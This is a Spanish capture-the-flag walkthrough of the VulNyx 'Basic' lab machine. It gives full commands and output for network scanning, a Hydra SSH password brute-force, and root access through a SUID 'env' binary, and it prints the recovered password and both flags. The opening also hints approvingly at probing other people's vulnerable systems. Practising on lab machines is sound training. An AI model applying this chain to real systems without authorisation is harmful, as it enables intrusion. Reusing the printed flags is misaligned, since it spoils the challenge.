Cuando estoy aburrido me pongo a hacer ejercicios de hacking ético. A veces lo hago con mis propios equipos, otras veces con máquinas de práctica como Metasploitable 2 o Vulnyx y, otras veces, en sistemas vulnerables pero sin causar ningún daño 😉 Hoy les voy a enseñar a hackear la máquina Basic de VulNyx en la cual el usuario es hackeado por su impresora.
A ver, no es que al usuario le hackeen la impresora, que desde luego también se puede. Lo que ocurre es que un dato hallado en la configuración de un servicio de impresión nos permite halar el hilo y obtener las credenciales de acceso. Para este ejercicio necesitaremos lo siguiente:
- Kali Linux.
- Nmap (viene en Kali).
- Hydra (Ídem).
- SSH (Ídem)
- Máquina virtual Basic de VulNyx (descargar).
Procedimiento.
Lo primero será conocer nuestra interfaz de red y nuestra IP local. Abrimos una terminal en nuestro Kali Linux y usamos la orden: ifconfig
. En mi caso obtengo que mi interfaz de red es la eth0
. Sabiendo esto ya puedo escanear mi red para ver los equipos conectados. El comando a usar será: sudo arp-scan -I eth0 --localnet
. Ustedes pondrán, cada uno, su respectiva interfaz. La respuesta fue:
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.1.1 XX:XX:XX:XX:XX:XX (Unknown) 192.168.1.22 XX:XX:XX:XX:XX:XX (Unknown) 192.168.1.54 08:00:d7:@@:d7:d7 (Unknown)*Modificado.
La IP terminada en .54 corresponde a la máquina Vulnyx. Ahora usaremos Nmap para ver los puertos abiertos y los servicios que corren. El comando inicial será: nmap -p- -T5 -n -v 192.168.1.54
. La respuesta fue:
Discovered open port 80/tcp on 192.168.1.54 Discovered open port 22/tcp on 192.168.1.54 Discovered open port 631/tcp on 192.168.1.54 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 631/tcp open ipp MAC Address: 08:00:d7:@@:d7:d7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Ahora voy a correr el comando: nmap -n -Pn -sV -p22,80,631 192.168.1.54
para que solo escanee los puertos indicados y busque las versiones de cada servicio que está corriendo. La respuesta fue:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0) | ssh-hostkey: | 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) | 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: Apache2 Test Debian Default Page: It works |_http-server-header: Apache/2.4.56 (Debian) 631/tcp open ipp CUPS 2.3 |_http-title: Inicio - CUPS 2.3.3op2 |_http-server-header: CUPS/2.3 IPP/2.1 | http-robots.txt: 1 disallowed entry MAC Address: 08:00:d7:@@:d7:d7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Interesante. El puerto 22/tcp lo trabajé en un post anterior; el puerto 80/tcp me indica que está corriendo un servicio web y, el puerto 631, que corresponde a IPP (Internet Printing Protocol) me dice que corre un servicio para impresión móvil y en la nube. Este es el hilo que voy a seguir.
Si con el navegador voy a la dirección http://192.168.1.54:631/ veo que me lleva a un servidor de CUPS (Common Unix Printing System). Es un sitio con información general del servicio. Así se ve la página:
Navego por el sitio que está lleno de información sobre el servicio IPP. En general nada de interés. Sin embargo, en la última pestaña del menú superior, la pestaña impresoras, encuentro un equipo Epson y un nombre de usuario: dimitri_printer dimitri’s printer.
Con el nombre de usuario intenté conectarme vía SSH usando Hydra y el diccionario rockyou.txt. El comando fue el siguiente: hydra ssh://192.168.1.54 -l dimitri -P /usr/share/wordlists/rockyou.txt -t 60 -f
. Y la respuesta fue:
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-20 15:14:51 [DATA] max 60 tasks per 1 server, overall 60 tasks, 14344399 login tries (l:1/p:14344399), ~239074 tries per task [DATA] attacking ssh://192.168.1.54:22/ [STATUS] 448.00 tries/min, 448 tries in 00:01h, 14343988 to do in 533:38h, 23 active [22][ssh] host: 192.168.1.54 login: dimitri password: mememe [STATUS] attack finished for 192.168.1.54 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-20 15:16:33
En un poco menos de 2 minutos obtuvimos el password: mememe. Ahora me conecto vía SSH con el comando: ssh [email protected]
(ustedes usarán su IP). La terminal me pide la contraseña, se la doy y ya me encuentro dentro de la máquina.
Hago un ls
y encuentro un archivo llamado user.txt. Lo leo con el comando cat user.txt
y la respuesta es:
dimitri@basic:~$ ls user.txt dimitri@basic:~$ cat user.txt f17d2f67c468d15600d8fc0b2ebc1d8c
El string que puse en negrita es nuestra primera bandera (Capture The Flag – CTF). Ahora buscaré escalar privilegios para convertirme en root. Lo que hice fue buscar los permisos SUID, un permiso que permite a un usuario ejecutar un archivo con los permisos del propietario del archivo, en lugar de los suyos propios. El comando usado fue: find / -perm -4000 -exec ls -la {} \; 2>/dev/null
. Y la respuesta fue:
dimitri@basic:~$ find / -perm -4000 -exec ls -la {} \; 2>/dev/null -rwsr-xr-x 1 root root 48480 sep 24 2020 /usr/bin/env -rwsr-xr-x 1 root root 55528 ene 20 2022 /usr/bin/mount -rwsr-xr-x 1 root root 71912 ene 20 2022 /usr/bin/su -rwsr-xr-x 1 root root 58416 feb 7 2020 /usr/bin/chfn -rwsr-xr-x 1 root root 88304 feb 7 2020 /usr/bin/gpasswd -rwsr-xr-x 1 root root 52880 feb 7 2020 /usr/bin/chsh -rwsr-xr-x 1 root root 35040 ene 20 2022 /usr/bin/umount -rwsr-xr-x 1 root root 63960 feb 7 2020 /usr/bin/passwd -rwsr-xr-x 1 root root 44632 feb 7 2020 /usr/bin/newgrp -rwsr-xr-x 1 root root 481608 sep 24 2023 /usr/lib/openssh/ssh-keysign -rwsr-xr-- 1 root messagebus 51336 jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 19040 ene 13 2022 /usr/libexec/polkit-agent-helper-1
Veo que el usuario tiene esos permisos. Para convertirme en root usaré el primer hallazgo: el binario env. El comando usado fue el siguiente: /usr/bin/env /usr/bin/bash -p
. Y la respuesta fue:
dimitri@basic:~$ /usr/bin/env /usr/bin/bash -p bash-5.1# whoami root bash-5.1#
Soy root. Como al principio supe que se trataba de una máquina GNU/Linux Debian, y me encuentro en el folder del usuario dimitri (/home/dimitri), sé que debo ir dos pasos atrás para ver el árbol de directorios. Eso lo hago con cd ..
Luego, listo el árbol con el comando ls -l
y obtengo:
total 60 lrwxrwxrwx 1 root root 7 ene 15 2023 bin -> usr/bin drwxr-xr-x 3 root root 4096 oct 26 2023 boot drwxr-xr-x 17 root root 3140 ene 20 15:30 dev drwxr-xr-x 80 root root 4096 ene 20 15:31 etc drwxr-xr-x 3 root root 4096 oct 26 2023 home lrwxrwxrwx 1 root root 31 oct 26 2023 initrd.img -> boot/initrd.img-5.10.0-26-amd64 lrwxrwxrwx 1 root root 31 oct 26 2023 initrd.img.old -> boot/initrd.img-5.10.0-20-amd64 lrwxrwxrwx 1 root root 7 ene 15 2023 lib -> usr/lib lrwxrwxrwx 1 root root 9 ene 15 2023 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 ene 15 2023 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 ene 15 2023 libx32 -> usr/libx32 drwx------ 2 root root 16384 ene 15 2023 lost+found drwxr-xr-x 3 root root 4096 ene 15 2023 media drwxr-xr-x 2 root root 4096 ene 15 2023 mnt drwxr-xr-x 2 root root 4096 ene 15 2023 opt dr-xr-xr-x 149 root root 0 ene 20 15:30 proc drwx------ 3 root root 4096 oct 26 2023 root drwxr-xr-x 19 root root 560 ene 20 21:22 run lrwxrwxrwx 1 root root 8 ene 15 2023 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 ene 15 2023 srv dr-xr-xr-x 13 root root 0 ene 20 15:30 sys drwxrwxrwt 11 root root 4096 ene 20 21:39 tmp drwxr-xr-x 14 root root 4096 ene 15 2023 usr drwxr-xr-x 12 root root 4096 oct 26 2023 var lrwxrwxrwx 1 root root 28 oct 26 2023 vmlinuz -> boot/vmlinuz-5.10.0-26-amd64 lrwxrwxrwx 1 root root 28 oct 26 2023 vmlinuz.old -> boot/vmlinuz-5.10.0-20-amd64 bash-5.1#
Ahora ingreso al directorio root y listo su contenido con el comando: cd root && ls -l
. La respuesta me arroja que al interior del directorio hay un archivo llamado root.txt. Lo leo con el comando cat root.txt
y obtengo la segunda bandera:
bash-5.1# cd root && ls -l total 4 -r-------- 1 root root 33 oct 26 2023 root.txt bash-5.1# cat root.txt 551df067bd06f13f1c092743493de034 bash-5.1#
Y eso es todo. Este usuario fue hackeado por su impresora. Esta máquina es básica y nos sirve para practicar y para entretenernos en días aburridos. Espero les sirva. Hasta la próxima.